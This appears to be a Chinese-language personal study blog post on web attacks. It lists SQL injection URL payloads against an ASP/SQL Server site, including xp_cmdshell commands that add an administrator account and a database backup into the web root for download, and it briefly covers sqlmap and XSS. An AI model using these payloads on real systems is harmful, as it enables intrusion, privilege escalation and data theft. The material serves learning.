写点什么

网络攻防学习笔记 Day33

发布于: 2021 年 06 月 02 日
网络攻防学习笔记 Day33

通过 SQL 注入攻击还可以达到以下目的:执行操作系统命令,读取文件,编辑文件,通过 HTTP 请求攻击其他服务器


(1)http://xxx.xxx.xxx/abc.asp?p=YY and user_name()='dbo'

abc.asp 执行异常,可以得到当前连接数据库的用户名。如果显示 dbo,则代表 SA(sysadmin)。如果将上述语句中的 user_name()='dbo' 改为 and (selectuser_name())>0,则可获得当前系统的连接用户。


(2)http://xxx.xxx.xxx/abc.asp?p=YY and (select db_name())>0

abc.asp 执行异常,可以得到当前连接的数据库名。需要说明的是,这一步取决于服务器的设置。如果服务器端关闭了错误提示,那么很多信息,包括数据库名,就无法得到。


(3)http://xxx.xxx.xxx/abc.asp?p=YY; exec master..xp_cmdshell’ net useraaa bbb /add'--

其中,master 是 SQL Server 的主数据库;名中的分号表示 SQL Server 执行完分号前的语句名,继续执行其后面的语句;“--”号是为了注释掉后面的字符串,保证 SQL 语句能够正确地执行。上述 URL 可以直接增加一个操作系统用户 aaa,密码为 bbb。


(4)http://xxx.xxx.xxx/abc.asp?p=YY; exec master..xp_cmdshell’ netlocalgroup administratorsaaa /add'--

把刚刚增加的 aaa 用户加到管理员组中。


(5)http://xxx.xxx.xxx/abc.asp?p=YY; backup database 数据库名 todisk='c:\inetpub\ wwwroot\save.db'

则把得到的数据内容全部备份到 Web 目录下,再用 http 把此文件下载(当然首先要知道 Web 虚拟目录)。


(6)http://xxx.xxx.xxx/abc.asp?p=YY and (select @@version)>0

上述 SQL 语句可用于获得 SQL Server 的版本号。


Sqlmap 是一款功能非常强大的开源 SQL 自动化注入工具,可以用来检测和利用 SQL 注入漏洞。它由 Python 语言开发而成,因此运行需要安装 Python 环境。需要说明的是,Sqlmap 只是用来检测和利用 SQL 注入点的,并不能扫描出网站有哪些漏洞,因此使用前一般需要使用漏洞扫描工具或者手工找出 SQL 注入点


跨站脚本攻击(Cross Site Scripting,XSS)是指攻击者利用 Web 程序对用户输入过滤不足的缺陷,把恶意代码(包括 HTML 代码和客户端脚本)注入到其他用户浏览器显示的页面上执行,从而窃取用户敏感信息、伪造用户身份进行恶意行为的一种攻击方式。

发布于: 2021 年 06 月 02 日阅读数: 8
用户头像

还未添加个人签名 2018.11.30 加入

还未添加个人简介

评论

发布
暂无评论
网络攻防学习笔记 Day33